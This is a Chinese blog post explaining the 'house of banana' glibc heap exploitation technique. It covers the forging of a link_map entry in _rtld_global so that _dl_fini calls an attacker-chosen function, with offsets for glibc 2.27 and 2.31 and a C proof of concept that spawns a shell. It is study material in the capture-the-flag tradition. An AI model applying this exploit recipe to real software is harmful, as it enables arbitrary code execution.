house of banana
196082 慢慢好起来

这个堆利用方式相较于以往的利用方式存在利用目标的不同,这一方式的利用我感觉比较适合与glibc2.31之后,比较之前都可以直接用FSOP,但是在2.31之后FSOP的利用方式就是house of pig不过如果题目禁止了__free_hook之类的被篡改的话也就没法利用了,而house of banana把攻击层面转向了ld

首先,在main执行之后会执行__libc_csu_fini所以我们首先了解这个函数

如何执行fini-array中的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock));

/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
... ...

可以看到最后调用了array[i](),不过我们需要控制array的话就需要进一步知道这是什么。

利用原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}

可以看到下面的其实是和这一部分有关的

其中的GL就是

1
#  define GL(name) _rtld_global._##name

下面就是_rtld_global这个结构体,但是这个结构体相对比较复杂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */

/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;

/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;

/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
... ...

通过上面的for循环可以看到其实我们利用的也只是其中的dl_ns部分,所以下面的我就省略了。然后其中又是另一个结构体这里就不继续深挖了。

这里根据上面的内容可以看出来的是 array = (l->l_addr + l->l_info[DT_FINI_ARRAY\]->d_un.d_ptr);

再根据上面的for循环最后使用的是l=l->next可以看出来其实这是一个存在链表操作的结构,所以我们只需要伪造链表当中的其中一个结构体就行。

再次看到这个赋值操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

这里的maps需要的是4个元素,所以我们劫持第三个l->next到我们伪造的结构当中即可,并且可以绕过下面两个assert

image-20220307134013740

所以我们利用distance求出偏移然后修改掉&_rtld_global-0x1e048的地址到我们伪造的结构体就行,另外在这一代码当中存在一个if判断,需要绕过这一if判断

image-20220307134759927

image-20220307134820512

所以我们只需要在fake+0x28=fake就可

现在的目标就是进行伪造,能够顺利的执行到最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

可以看到这里存在的是三个if判断

image-20220307135557831

首先是l_init_called可以看到他们之间的距离为0x314然后地址上的值为0x1c,所以只需要fake+0x314=0x1c即可绕过。(在glibc2.31当中的距离为0x31c,上面没注意使用的是glibc2.27下面改用2.31)

随后就是下面两个if语句,fake->l_info[26]和fake->l_info[28]!=NULL即可绕过,然后可以看到下面这两个其实直接控制了,array和i的值,所以我们需要利用好这两个。

1
2
3
4
5
6
7
8
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
------
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */

image-20220307171529724

image-20220307171150261

查看info的结构体,这里的伪造方式我直接引用我参考的博客来写

在fake+0x110处写入fake+0x40,然后在fake+0x48写入fake+0x58然后在fake+0x58写入shell

在fake+0x120出写入fake+0x48,在fake+0x50处写入8

总结利用方式

首先劫持结构体:

&(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) = fake

绕过检测:

fake+0x28 = fake

fake+0x31c = 0x1c

控制array:

fake+0x110 = fake+0x40

fake+0x48 = fake+0x58

fake+0x58 = shell

控制i:

fake+0x120 = fake+0x48

fake+0x50 = 8

需要注意的

上面说的maps需要四个元素,然后我懒得调试就没在glibc2.31下调试,所以就直接写poc但是存在问题,后面调试发现其实需要的是7个

1
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;

所以如果是在glibc2.31下我们劫持结构体的方式应该变为:

&(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next->l_next->l_next->l_next) = fake

后续的内容一致

poc

下面是我自己写的poc,我将large bin attack的步骤省略了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
void shell()
{
system("/bin/sh");
}
int main()
{
uint64_t *target;
uint64_t *fake;
uint64_t main_arena_96;
uint64_t *rtld_global_addr;

fake = (uint64_t *)malloc(0x420);
malloc(0x10);
free(fake);
main_arena_96 = *(uint64_t *)fake;
rtld_global_addr = (uint64_t *)main_arena_96 + (0x259480 / 8);
target = (uint64_t *)rtld_global_addr - 0x4b128 / 8;
fake = (uint64_t *)malloc(0x420);
memset((void *)fake, 0, 0x420);

*(uint64_t *)target = (uint64_t)fake;
*(uint64_t *)(fake + 0x28 / 8) = fake;

*(uint64_t *)(fake + 0x31c / 8) = 0x1c00000000;

*(uint64_t *)(fake + 0x110 / 8) = fake + 0x40 / 8;
*(uint64_t *)(fake + 0x48 / 8) = fake + 0x58 / 8;
*(uint64_t *)(fake + 0x58 / 8) = (uint64_t)shell;

*(uint64_t *)(fake + 0x120 / 8) = fake + 0x48 / 8;
*(uint64_t *)(fake + 0x50 / 8) = 8;

return 0;
}

参考博客

https://giles-one.github.io/2021/10/04/house-of-%E7%B3%BB%E5%88%97%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/

大佬这里最后的poc在除了上面我说的之外存在还一点小问题,应该是忘了给每个地址除以8

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量